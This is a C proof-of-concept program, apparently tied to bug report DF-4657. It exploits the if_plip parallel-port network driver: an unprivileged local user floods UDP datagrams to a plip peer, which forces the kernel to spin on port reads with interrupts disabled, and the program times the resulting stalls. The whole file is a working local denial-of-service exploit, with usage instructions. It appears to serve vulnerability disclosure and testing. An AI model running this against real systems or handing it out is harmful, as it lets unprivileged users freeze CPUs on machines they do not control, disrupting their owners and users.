DF-4657 / plipspin.c
/* * DF-4657 PoC: unprivileged local DoS via if_plip lpoutput/lp_intr * port-spinning inside crit_enter() (interrupts disabled). * * lp0 must be configured UP by an admin (ifconfig lp0 A B up) with the * parallel-port cable absent/dead (the normal "unplugged" state). * Any local user then sends UDP datagrams to the plip peer; each * sendto() returns only after lpoutput() has burned * LPMAXSPIN1 (8000) + LPMAXSPIN2 (500) * payload_bytes * ppb_rstr() bus-method dispatches (ISA port reads) with preemption * and interrupts disabled on that CPU. * * usage: ./plipspin <dst-ip> <npkts> <payload-bytes> */ #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dst = argc > 1 ? argv[1] : "10.99.0.2"; int n = argc > 2 ? atoi(argv[2]) : 5; int sz = argc > 3 ? atoi(argv[3]) : 1400; struct sockaddr_in sa; struct timeval t0, t1; char *buf; double total = 0, mx = 0; int s, i; buf = malloc(sz); memset(buf, 0x41, sz); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(9999); if (inet_pton(AF_INET, dst, &sa.sin_addr) != 1) { fprintf(stderr, "bad dst %s\n", dst); return 1; } for (i = 0; i < n; i++) { double ms; ssize_t r; gettimeofday(&t0, NULL); r = sendto(s, buf, sz, 0, (struct sockaddr *)&sa, sizeof(sa)); gettimeofday(&t1, NULL); ms = (t1.tv_sec - t0.tv_sec) * 1000.0 + (t1.tv_usec - t0.tv_usec) / 1000.0; total += ms; if (ms > mx) mx = ms; printf("pkt %2d/%d: sendto=%zd errno=%d(%s) %8.1f ms (%d byte payload)\n", i + 1, n, r, errno, strerror(errno), ms, sz); fflush(stdout); } printf("RESULT: n=%d size=%d dst=%s TOTAL=%.1f ms AVG=%.1f ms MAX=%.1f ms\n", n, sz, dst, total, total / n, mx); return 0; } |